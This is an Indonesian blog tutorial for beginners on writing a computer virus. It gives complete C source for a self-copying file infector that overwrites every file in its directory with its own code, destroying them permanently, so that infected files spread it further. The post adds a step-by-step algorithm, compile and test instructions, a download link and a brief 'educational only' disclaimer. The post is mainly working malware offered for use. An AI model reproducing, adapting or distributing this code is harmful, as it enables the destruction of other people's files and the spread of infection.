Program ini merupakan contoh bagaimana cara untuk membuat virus komputer dalam bahasa C. Program ini menunjukkan program virus sederhana yang ketika dijalankan otomatis akan meng-copy dari dirinya sendiri dalam semua file lain yang hadir dalam direktori yang sama.
Dengan demikian, virus tersebut menghancurkan file lain dengan menginfeksi file-file. File yang terinfeksi juga akan menjadi virus sehingga ketika dijalankan, dapat menyebarkan infeksi ke file lain dan seterusnya.
Berikut kode sumber dari program virus ini:
#include<stdio.h>#include<io.h>#include<dos.h>#include<dir.h>#include<conio.h>#include<time.h>FILE *virus,*host;int done,a=0;unsigned long x;char buff[2048];struct ffblk ffblk;clock_t st,end;void main(){st=clock();clrscr();done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)while(!done){virus=fopen(_argv[0],”rb”);host=fopen(ffblk.ff_name,”rb+”);if(host==NULL) goto next;x=89088;printf(“Infecting %s\n”,ffblk.ff_name,a);while(x>2048){fread(buff,2048,1,virus);fwrite(buff,2048,1,host);x-=2048;}fread(buff,x,1,virus);fwrite(buff,x,1,host);a++;next:{fcloseall();done=findnext(&ffblk);}}printf(“DONE! (Total Files Infected= %d)”,a);end=clock();printf(“TIME TAKEN=%f SEC\n”,(end-st)/CLK_TCK);getch();}
Virus ini dirancang untuk menginfeksi semua jenis file dengan ekstensi apapun.
Anda dapat men-download kode sumber dari link berikut:
Download kode sumber
Cara Membuat Virus Komputer Bagi Newbie
Bagaimana Program Virus ini Bekerja?Berikut Algoritma program virus ini:
Langkah-1: Cari file dalam direktori saat ini. Jika satu atau lebih file ini, memuat file pertama (file target).
Langkah-2: Muat salinan virus itu sendiri ke memori.
Langkah-3: Buka file target. Salin kode virus dari memori dan menempatkannya di file target. Tutup file target ketika proses penyalinan selesai.
Langkah-4: Load file selanjutnya untuk menginfeksi dan pindah ke langkah-3 tersebut. Jika semua file yang terinfeksi, tutup semua file yang terbuka, upload dari memori dan keluar.
Sejauh istilah-istilah teknis yang bersangkutan, saya tidak akan mampu menjelaskan program baris demi baris. Siapapun dengan pengetahuan tentang C harus dengan mudah dapat memahami fungsi dan istilah lain yang digunakan dalam program ini.
Cara Kompilasi Program:
Untuk panduan langkah-demi-langkah, Anda dapat melihat postingan rinci saya tentang cara untuk mengkompilasi program C
Cara Uji Virus Setelah Kompilasi:
Buat folder baru dan kosong.
Taruh beberapa file yang dapat dieksekusi (atau file lain) dalam folder kosong tersebut.
Jalankan file PC_Virus.exe. Lihat dalam beberapa detik semua file di folder akan terinfeksi.
Sekarang setiap file yang terinfeksi virus akan siap untuk kembali menginfeksi file lainnya. Anda dapat menyalin setiap file exe yang terinfeksi ke folder lain yang kosong dan mengulangi prosedur yang sama untuk melihat apakah file yang terinfeksi mampu menginfeksi kembali. Hapus folder dan semua file yang terinfeksi setelah proses pengujian dilakukan.
Artikel Tentang Belajar Cara Membuat Virus Komputer
CATATAN: File yang sudah terinfeksi oleh virus ini akan hancur sepenuhnya dan tidak dapat dipulihkan kembali. Jadi, selalu menguji virus di folder baru dengan menempatkan beberapa file sampel.PERINGATAN: INI HANYA UNTUK ILMU PENGETAHUAN SAJA ATAU PEMBELAJARAN SAJA. DILARANG UNTUK DISEBARKAN ATAU DI SALAHGUNAKAN. JIKA TETAP ANDA LANGGAR KAMI TIDAK BERTANGGUNG JAWAB DAN BISA ANDA TANGGUNG SENDIRI AKIBATNYA.
Demikianlah artikel pertama saya tentang cara membuat virus komputer sendiri untuk pemula. Semoga artikel ini bermanfaat untuk anda. Terimakasih sudah berkunjung.
0 Response to "Cara Membuat Virus Komputer Sendiri Untuk Pemula"
Post a Comment